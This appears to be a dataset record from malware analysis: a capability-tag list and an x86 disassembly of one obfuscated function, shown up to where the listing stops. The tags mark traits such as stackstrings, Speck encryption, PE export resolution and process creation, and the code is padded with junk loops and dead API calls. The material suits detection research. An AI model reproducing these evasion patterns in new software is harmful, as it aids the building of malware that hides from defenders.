Function at 0x1003559e
Capabilities:
Compare security identifiers
Connect pipe
Contain obfuscated stackstrings
Create process on windows
Delete file
Encrypt data using speck
Get common file path
Get keyboard layout
Parse pe header
Resolve function by parsing pe exports
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007fb81
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x19cc
call fcn.1007b5c0
push esi
push edi
cmp dword [ebp + 0x10], 0
jbe 0x100355e4
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100355e4
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002eda1
pop ecx
pop ecx
jmp 0x100404c9
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1c], 7
push 1
lea ecx, [ebp - 0x12f0]
call fcn.100211fe
and dword [ebp - 4], 0
mov dword [ebp - 0x10c0], 0x52ded145
mov dword [ebp - 0x240], 0
jmp 0x10035630
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 1
jge 0x1003564f
push dword [ebp - 0x240]
lea ecx, [ebp - 0x12f0]
call fcn.1002129c
and dword [eax], 0
jmp 0x10035623
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0
jne 0x10035702
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jg 0x10035674
mov dword [ebp - 0x754], 1
jmp 0x1003567b
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x754], eax
jne 0x10035692
mov dword [ebp - 0xc54], 1
jmp 0x10035699
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xc54]
cmp eax, 0xffff
je 0x100356c1
cmp dword [ebp - 0x14], 0
je 0x100356c1
cmp dword [ebp - 0x14], 0
je 0x100356c1
mov dword [ebp - 0xc84], 1
jmp 0x100356c8
and dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0xc84]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x14], eax
je 0x100356eb
mov dword [ebp - 0xc8c], 1
jmp 0x100356f2
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0xc8c]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xe973
cmp dword [ebp - 0x1c], 0x24307a32
jle 0x10035871
mov dword [ebp - 0x1088], 0x455f992d
mov dword [ebp - 0x14], 0
jmp 0x10035729
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffe6
jge 0x10035771
mov dword [ebp - 0x1c], 0
jmp 0x1003573f
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x10035767
mov byte [ebp - 0x173], 0
movzx eax, byte [ebp - 0x173]
test eax, eax
je 0x10035765
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
jmp 0x10035738
cmp dword [ebp - 0x14], 0
je 0x1003576f
jmp 0x10035722
jmp 0x10035722
mov dword [ebp - 0x14], 0
jmp 0x10035781
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffe8
jge 0x1003586f
mov dword [ebp - 0xe40], 1
mov dword [ebp - 0x1bc], 0
jmp 0x100357ae
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xffffffe8
jge 0x1003586a
mov dword [ebp - 0x1c], 0
jmp 0x100357cb
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x10035841
mov dword [ebp - 0x3e8], 0xb26c4f32
mov dword [ebp - 0xe38], 0x707
mov dword [ebp - 0x3e8], 0
jmp 0x100357fe
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0
jg 0x1003583f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x12f0]
call fcn.1002129c
mov eax, dword [eax]
sub eax, dword [ebp - 0x1088]
mov dword [ebp - 0xe38], eax
mov byte [ebp - 0x153], 0
movzx eax, byte [ebp - 0x153]
test eax, eax
je 0x1003583d
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
jmp 0x100357f1
jmp 0x100357c4
mov dword [ebp - 0x1c], 0
jmp 0x10035851
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffd
jg 0x10035865
mov eax, dword [ebp - 0xe40]
mov dword [ebp - 0x10c0], eax
jmp 0x1003584a
jmp 0x100357a1
jmp 0x1003577a
jmp 0x1003588d
mov byte [ebp - 0xee], 0
movzx eax, byte [ebp - 0xee]
test eax, eax
je 0x1003588d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12f0]
call fcn.10021280
mov dword [ebp - 0xf8], 0x876e6bac
mov dword [ebp - 0xc94], 0x25ae
mov dword [ebp - 0x10d0], 0x1000a980
cmp dword [ebp - 0xc94], 0x26f4
jle 0x100359a0
and dword [ebp - 0x248], 0
jmp 0x100358e0
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x2709
jge 0x100359a0
and dword [ebp - 0x3ec], 0
jmp 0x10035906
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x1115
jge 0x1003599b
and dword [ebp - 0x250], 0
jmp 0x1003592c
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x3548
jge 0x10035996
mov eax, dword [ebp - 0x248]
imul eax, dword [ebp - 0x3ec]
or eax, dword [ebp - 0x250]
cdq
mov dword [ebp - 0xe4c], eax
mov dword [ebp - 0xe48], edx
push dword [ebp - 0xe48]
push dword [ebp - 0xe4c]
lea ecx, [ebp - 0x17e4]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0x10c8], eax
mov ecx, dword [ebp - 0x10c8]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x17e4]
call fcn.10020eba
jmp 0x1003591f
jmp 0x100358f9
jmp 0x100358d3
mov dword [ebp - 0x1ec], 0x6141e4f1
cmp dword [ebp - 0xc94], 0x2209
jge 0x100359c2
push dword [ebp - 0x10d0]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x4c0], 0xffffffff
mov dword [ebp - 0x10e0], 0x17f215a
cmp dword [ebp - 0xf8], 0
jne 0x10035a65
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1540], eax
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
je 0x10035a10
mov dword [ebp - 0x10d8], 1
jmp 0x10035a17
and dword [ebp - 0x10d8], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x155c], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x146c], eax
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x1648], eax
cmp dword [ebp - 0x4c0], 0
je 0x10035a65
cmp dword [ebp - 0x4c0], 0
je 0x10035a65
mov dword [ebp - 0xc60], 1
jmp 0x10035a6c
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0xc60]
jge 0x10035b2b
mov dword [ebp - 0x10e8], 0xbb002891
mov dword [ebp - 0x258], 0
jmp 0x10035aa1
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 2
jge 0x10035abd
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x13e0], 0xfffffffa
jmp 0x10035a94
mov eax, 0x7e0d
test eax, eax
je 0x10035af5
mov eax, dword [ebp - 0xf8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x13e0]
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
je 0x10035af5
mov dword [ebp - 0x648], 1
jmp 0x10035afc
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x10e0]
cmp dword [ebp - 0x648], eax
je 0x10035b16
mov dword [ebp - 0xc4c], 1
jmp 0x10035b1d
and dword [ebp - 0xc4c], 0
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x10e8], eax
jmp 0x10035b6b
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x10035b47
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectObject]
mov byte [ebp - 0xf0], 0
movzx eax, byte [ebp - 0xf0]
test eax, eax
je 0x10035b6b
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToUnicode]
cmp dword [ebp + 0x10], 0
jne 0x1003960e
mov dword [ebp - 0x1294], 0xfffffff8
mov dword [ebp - 0x1290], 0xfffffff8
mov dword [ebp - 0x128c], 0xfffffff8
mov dword [ebp - 0x1288], 0xfffffff8
lea ecx, [ebp - 0x611]
call fcn.100212ab
push eax
lea eax, [ebp - 0x1284]
push eax
lea eax, [ebp - 0x1294]
push eax
lea ecx, [ebp - 0x16f8]
call fcn.100212ae
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x16cc]
call fcn.1002125a
mov dword [ebp - 0x1474], 0xc90a35f3
mov dword [ebp - 0x1564], 0xf402e31d
mov dword [ebp - 0x147c], 0xa3a11c15
mov dword [ebp - 0x1644], 0xad72d767
mov dword [ebp - 0x1484], 8
mov dword [ebp - 0xb38], 1
mov dword [ebp - 0x3f8], 0
jmp 0x10035c27
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 1
jge 0x10035c43
mov eax, dword [ebp - 0x3f8]
mov dword [ebp + eax*4 - 0x156c], 0xad67a4be
jmp 0x10035c1a
mov eax, dword [ebp - 0xb38]
inc eax
mov dword [ebp - 0xb38], eax
lea ecx, [ebp - 0x16cc]
call fcn.10021280
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10024b93
mov dword [ebp - 0x504], eax
mov dword [ebp - 0x650], 0x11dd
mov dword [ebp - 0x10f0], 0x1000a9d0
cmp dword [ebp - 0x650], 0x153d
jle 0x10035d7b
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CopySid]
and dword [ebp - 0x400], 0
jmp 0x10035cb2
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x7caf
jge 0x10035d7b
and dword [ebp - 0x260], 0
jmp 0x10035cd8
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x2045
jge 0x10035d76
and dword [ebp - 0x528], 0
jmp 0x10035cfe
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0x6f0f
jge 0x10035d71
and dword [ebp - 0x268], 0
jmp 0x10035d20
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x49fd
jge 0x10035d6f
mov eax, dword [ebp - 0x260]
cdq
idiv dword [ebp - 0x528]
mov eax, edx
cdq
idiv dword [ebp - 0x268]
and edx, dword [ebp - 0x400]
mov eax, edx
cdq
mov dword [ebp - 0xe58], eax
mov dword [ebp - 0xe54], edx
push dword [ebp - 0xe54]
push dword [ebp - 0xe58]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x10035d13
jmp 0x10035cf1
jmp 0x10035ccb
jmp 0x10035ca5
mov dword [ebp - 0x178], 0xffffffff
mov dword [ebp - 0x270], 0
jmp 0x10035d9e
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 3
jge 0x10035dba
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0x1580], 0
jmp 0x10035d91
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1580]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x178], 0
jmp 0x10035de5
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 3
jge 0x10035e01
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x1580], 1
jmp 0x10035dd8
cmp dword [ebp - 0x650], 0xfb8
jge 0x10035e1d
mov edx, dword [ebp - 0x10f0]
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x148c], 0x1ad386cc
mov dword [ebp - 0x1128], 0x5cd53bc6
mov dword [ebp - 0x164c], 1
mov dword [ebp - 0x1494], 0xec541651
mov dword [ebp - 0x1108], 0
mov dword [ebp - 0x1118], 0xfffffffe
mov dword [ebp - 0x998], 1
mov dword [ebp - 0x1100], 0x9a57b5bf
mov dword [ebp - 0x1120], 0
mov dword [ebp - 0x10f8], 0x4bcd76ce
mov dword [ebp - 0x1574], 0x4401d1b9
mov dword [ebp - 0x149c], 4
mov dword [ebp - 0x1110], 0
mov dword [ebp - 0x1654], 0x1ebf0ddd
mov dword [ebp - 0x14a4], 0xfadacd7d
mov dword [ebp - 0x630], 0x542a
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
jne 0x10035ffb
mov dword [ebp - 0x998], 0xfffffffd
mov eax, dword [ebp - 0x10f8]
cmp dword [ebp - 0x998], eax
jl 0x10035ef4
mov dword [ebp - 0x658], 1
jmp 0x10035efb
and dword [ebp - 0x658], 0
cmp dword [ebp - 0x658], 0x1521fafb
jle 0x10035f1c
cmp dword [ebp - 0x1100], 0
je 0x10035f1c
mov dword [ebp - 0xc98], 1
jmp 0x10035f23
and dword [ebp - 0xc98], 0
mov eax, dword [ebp - 0x1108]
cmp dword [ebp - 0xc98], eax
jne 0x10035f3d
mov dword [ebp - 0x660], 1
jmp 0x10035f44
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0x1110]
cmp dword [ebp - 0x660], eax
jle 0x10035f5e
mov dword [ebp - 0x9a0], 1
jmp 0x10035f65
and dword [ebp - 0x9a0], 0
cmp dword [ebp - 0x9a0], 0x2e6
jge 0x10035f86
cmp dword [ebp - 0x1118], 0
je 0x10035f86
mov dword [ebp - 0x668], 1
jmp 0x10035f8d
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x1120]
cmp dword [ebp - 0x668], eax
jle 0x10035fa7
mov dword [ebp - 0xb40], 1
jmp 0x10035fae
and dword [ebp - 0xb40], 0
cmp dword [ebp - 0xb40], 0xfffffff9
jb 0x10035fc3
mov dword [ebp - 0x670], 1
jmp 0x10035fca
and dword [ebp - 0x670], 0
cmp dword [ebp - 0x670], 8
ja 0x10035fdf
mov dword [ebp - 0x9a8], 1
jmp 0x10035fe6
and dword [ebp - 0x9a8], 0
cmp dword [ebp - 0x9a8], 0x445acee6
je 0x10035ffb
and dword [ebp - 0x678], 0
jmp 0x10036005
mov dword [ebp - 0x678], 1
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0x1128], eax
mov byte [ebp - 0x157], 0
movzx eax, byte [ebp - 0x157]
test eax, eax
je 0x1003602d
push 0
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
push 3
lea ecx, [ebp - 0x135c]
call fcn.100211fe
mov dword [ebp - 4], 1
mov dword [ebp - 0x1584], 0xffffffff
mov dword [ebp - 0x14ac], 0x4288a137
mov dword [ebp - 0x1650], 0x836ccb03
mov dword [ebp - 0x14b4], 0xd21dfe4
mov dword [ebp - 0x1b4], 0xfffffff6
mov dword [ebp - 0x1594], 0x439cb61d
mov dword [ebp - 0x14bc], 0x13717be9
mov dword [ebp - 0x1680], 1
mov dword [ebp - 0x680], 0xa7bc9995
mov dword [ebp - 0x14c4], 0
mov dword [ebp - 0x9b0], 0xfb96
mov dword [ebp - 0x15a4], 0
mov dword [ebp - 0xc10], 0x5adb
mov dword [ebp - 0x105c], 0x1000aa18
cmp dword [ebp - 0xc10], 0x5b7b
jle 0x100361b2
and dword [ebp - 0x408], 0
jmp 0x100360f3
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x62c0
jge 0x100361b2
and dword [ebp - 0x4c8], 0
jmp 0x10036119
mov eax, dword [ebp - 0x4c8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0x7241
jge 0x100361ad
and dword [ebp - 0x278], 0
jmp 0x1003613f
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x31be
jge 0x100361a8
mov eax, dword [ebp - 0x4c8]
sub eax, dword [ebp - 0x278]
or eax, dword [ebp - 0x408]
cdq
mov dword [ebp - 0xe64], eax
mov dword [ebp - 0xe60], edx
push dword [ebp - 0xe60]
push dword [ebp - 0xe64]
lea ecx, [ebp - 0x18f8]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0x1174], eax
mov ecx, dword [ebp - 0x1174]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x18f8]
call fcn.10020eba
jmp 0x10036132
jmp 0x1003610c
jmp 0x100360e6
cmp dword [ebp - 0xc10], 0x58e1
jge 0x100361ca
push dword [ebp - 0x105c]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0xac], 0
jmp 0x100361e3
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x10036205
push dword [ebp - 0xac]
lea ecx, [ebp - 0x135c]
call fcn.1002129c
mov dword [eax], 0xfffffffa
jmp 0x100361d6
mov dword [ebp - 0xac], 0
jmp 0x1003621e
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x1003623a
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x14cc], 0x9328a062
jmp 0x10036211
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x1b4], 2
jmp 0x10036260
mov eax, dword [ebp - 0x1b4]
dec eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jl 0x10036318
mov dword [ebp - 0x1658], 0x7001
mov dword [ebp - 0x14d4], 0
push 1
lea ecx, [ebp - 0x1350]
call fcn.100211fe
mov byte [ebp - 4], 2
mov dword [ebp - 0x280], 0
jmp 0x100362ab
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 1
jge 0x100362cd
push dword [ebp - 0x280]
lea ecx, [ebp - 0x1350]
call fcn.1002129c
mov dword [eax], 0xe92e3f91
jmp 0x1003629e
mov eax, dword [ebp - 0x9b0]
dec eax
mov dword [ebp - 0x9b0], eax
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x135c]
call fcn.1002129c
cmp dword [eax], 0
je 0x10036304
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1350]
call fcn.10021280
jmp 0x10036253
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1350]
call fcn.10021280
jmp 0x10036253
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x135c]
call fcn.10021280
cmp dword [0x1008a010], 0
jne 0x10039141
mov dword [ebp - 0x6a8], 0x35bc
mov dword [ebp - 0xfdc], 0x1000aa74
cmp dword [ebp - 0x6a8], 0x378b
jle 0x10036439
and dword [ebp - 0x580], 0
jmp 0x1003636e
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 0x38de
jge 0x1003642d
and dword [ebp - 0x288], 0
jmp 0x10036394
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x5eb5
jge 0x10036428
and dword [ebp - 0x410], 0
jmp 0x100363ba
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x6a10
jge 0x10036423
mov eax, dword [ebp - 0x580]
add eax, dword [ebp - 0x288]
or eax, dword [ebp - 0x410]
cdq
mov dword [ebp - 0xe70], eax
mov dword [ebp - 0xe6c], edx
push dword [ebp - 0xe6c]
push dword [ebp - 0xe70]
lea ecx, [ebp - 0x1814]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xfd0], eax
mov ecx, dword [ebp - 0xfd0]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x1814]
call fcn.10020eba
jmp 0x100363ad
jmp 0x10036387
jmp 0x10036361
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x48], 0xcf54
mov dword [ebp - 0xb48], 0
mov dword [ebp - 0x688], 0xffd
mov dword [ebp - 0xd54], 0x1000aa88
cmp dword [ebp - 0x688], 0x109a
jle 0x10036574
and dword [ebp - 0x418], 0
jmp 0x10036484
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x6cc5
jge 0x10036574
and dword [ebp - 0x290], 0
jmp 0x100364aa
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x9c0
jge 0x1003656f
and dword [ebp - 0x4d0], 0
jmp 0x100364d0
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 0x7047
jge 0x1003656a
and dword [ebp - 0x298], 0
jmp 0x100364f6
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x4cbd
jge 0x10036565
mov eax, dword [ebp - 0x290]
and eax, dword [ebp - 0x4d0]
xor eax, dword [ebp - 0x298]
or eax, dword [ebp - 0x418]
cdq
mov dword [ebp - 0xe7c], eax
mov dword [ebp - 0xe78], edx
push dword [ebp - 0xe78]
push dword [ebp - 0xe7c]
lea ecx, [ebp - 0x19ac]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xe30], eax
mov ecx, dword [ebp - 0xe30]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x19ac]
call fcn.10020eba
jmp 0x100364e9
jmp 0x100364c3
jmp 0x1003649d
jmp 0x10036477
push 1
lea ecx, [ebp - 0x11b0]
call fcn.100211fe
mov dword [ebp - 4], 3
cmp dword [ebp - 0x688], 0xd7c
jge 0x100365a0
push dword [ebp - 0xd54]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x5f8], 0x8c84b7b8
mov dword [ebp - 0x9c0], 1
mov dword [ebp - 0x2a0], 0
jmp 0x100365cd
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 1
jge 0x100365ef
push dword [ebp - 0x2a0]
lea ecx, [ebp - 0x11b0]
call fcn.1002129c
mov dword [eax], 0xd9ba5f27
jmp 0x100365c0
mov dword [ebp - 0x48], 0xfffb
mov dword [ebp - 0xb48], 0x5589
cmp dword [ebp - 0xb48], 0
je 0x10036618
cmp dword [ebp - 0x48], 0
jne 0x10036618
and dword [ebp - 0x1058], 0
jmp 0x10036622
mov dword [ebp - 0x1058], 1
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x15b4], eax
cmp dword [ebp - 0x48], 1
jle 0x1003663d
mov dword [ebp - 0x5b8], 1
jmp 0x10036644
and dword [ebp - 0x5b8], 0
push 0
lea ecx, [ebp - 0x11b0]
call fcn.1002129c
mov ecx, dword [ebp - 0x5b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x5b8], eax
jl 0x10036670
mov dword [ebp - 0x690], 1
jmp 0x10036677
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x690]
neg eax
cmp eax, 0xcda7
jle 0x10036692
mov dword [ebp - 0x9b8], 1
jmp 0x10036699
and dword [ebp - 0x9b8], 0
imul eax, dword [ebp - 0x9b8], 0xffffffff
cmp eax, dword [ebp - 0x48]
jne 0x100366b4
cmp dword [ebp - 0x48], 0
jne 0x100366b4
and dword [ebp - 0x698], 0
jmp 0x100366be
mov dword [ebp - 0x698], 1
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x698]
jne 0x100366d8
cmp dword [ebp - 0x48], 0
jne 0x100366d8
and dword [ebp - 0xc78], 0
jmp 0x100366e2
mov dword [ebp - 0xc78], 1
mov eax, dword [ebp - 0xc78]
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x5f8], eax
jg 0x10036705
mov dword [ebp - 0x6a0], 1
jmp 0x1003670c
and dword [ebp - 0x6a0], 0
cmp dword [ebp - 0x6a0], 0x79d4
jl 0x1003672a
cmp dword [ebp - 0x5f8], 0
jne 0x1003672a
and dword [ebp - 0xd5c], 0
jmp 0x10036734
mov dword [ebp - 0xd5c], 1
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x14dc], eax
push 0
lea ecx, [ebp - 0x11b0]
call fcn.1002129c
cmp dword [eax], 0x2718b962
jge 0x10036774
mov byte [ebp - 0xf2], 0
movzx eax, byte [ebp - 0xf2]
test eax, eax
je 0x10036772
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefDlgProcA]
jmp 0x10036795
mov dword [ebp - 0x1698], 0xb4d2
mov dword [ebp - 0x14e4], 5
mov eax, dword [ebp - 0x9c0]
dec eax
mov dword [ebp - 0x9c0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11b0]
call fcn.10021280
cmp dword [ebp - 0x6a8], 0x348c
jge 0x100367bc
push dword [ebp - 0xfdc]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0xd64], 0xd20
lea eax, [ebp - 0xd64]
push eax
call fcn.1002ed66
pop ecx
mov dword [ebp - 0x7a0], eax
mov dword [ebp - 0x100], 0x1928c176
mov dword [ebp - 0x1060], 8
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x10036807
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x100], 0
jmp 0x10036820
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffff2
je 0x10036946
mov dword [ebp - 0x1230], 0x662a
mov dword [ebp - 0x122c], 0x662a
mov dword [ebp - 0x1228], 0x662a
mov dword [ebp - 0x1224], 0x662a
lea ecx, [ebp - 0x629]
call fcn.100212ab
push eax
lea eax, [ebp - 0x1220]
push eax
lea eax, [ebp - 0x1230]
push eax
lea ecx, [ebp - 0x1710]
call fcn.100212ae
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x11ec]
call fcn.1002125a
mov dword [ebp - 4], 4
mov dword [ebp - 0xd6c], 0xf82baef
push 1
lea ecx, [ebp - 0x11ec]
call fcn.1002129c
push 1
lea ecx, [ebp - 0x11ec]
call fcn.1002129c
push 1
lea ecx, [ebp - 0x11ec]
call fcn.1002129c
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x100], eax
jne 0x100368dc
mov dword [ebp - 0xb50], 1
jmp 0x100368e3
and dword [ebp - 0xb50], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0xb50], eax
jle 0x100368fd
mov dword [ebp - 0x6b0], 1
jmp 0x10036904
and dword [ebp - 0x6b0], 0
imul eax, dword [ebp - 0x6b0], 5
cmp eax, dword [ebp - 0x1060]
jne 0x1003691f
mov dword [ebp - 0x9c8], 1
jmp 0x10036926
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x9c8]
mov dword [ebp - 0xd6c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11ec]
call fcn.10021280
jmp 0x10036813
mov byte [ebp - 0x210], 7
mov byte [ebp - 0x20f], 0x78
mov byte [ebp - 0x20e], 2
mov byte [ebp - 0x20d], 0x1d
mov byte [ebp - 0x20c], 0xc
mov byte [ebp - 0x20b], 0x23
mov byte [ebp - 0x20a], 0
mov byte [ebp - 0x209], 0x10
mov byte [ebp - 0x208], 1
mov byte [ebp - 0x207], 0x22
mov byte [ebp - 0x206], 3
mov byte [ebp - 0x205], 0x33
mov byte [ebp - 0x204], 0xb
mov byte [ebp - 0x203], 0x2e
mov byte [ebp - 0x202], 6
mov byte [ebp - 0x201], 0xb
mov byte [ebp - 0x200], 2
mov byte [ebp - 0x1ff], 0x46
mov byte [ebp - 0x1fe], 0
mov byte [ebp - 0x1fd], 0xa
mov byte [ebp - 0x1fc], 0x36
mov byte [ebp - 0x1fb], 5
mov byte [ebp - 0x1fa], 0x37
mov byte [ebp - 0x1f9], 8
mov byte [ebp - 0x1f8], 0x1d
mov byte [ebp - 0x1f7], 4
mov byte [ebp - 0x1f6], 0xa
mov byte [ebp - 0x1f5], 9
mov byte [ebp - 0x1f4], 0xb
mov dword [ebp - 0x74], 5
mov dword [ebp - 0xd74], 0xfffffff8
mov dword [ebp - 0x1068], 0x10af
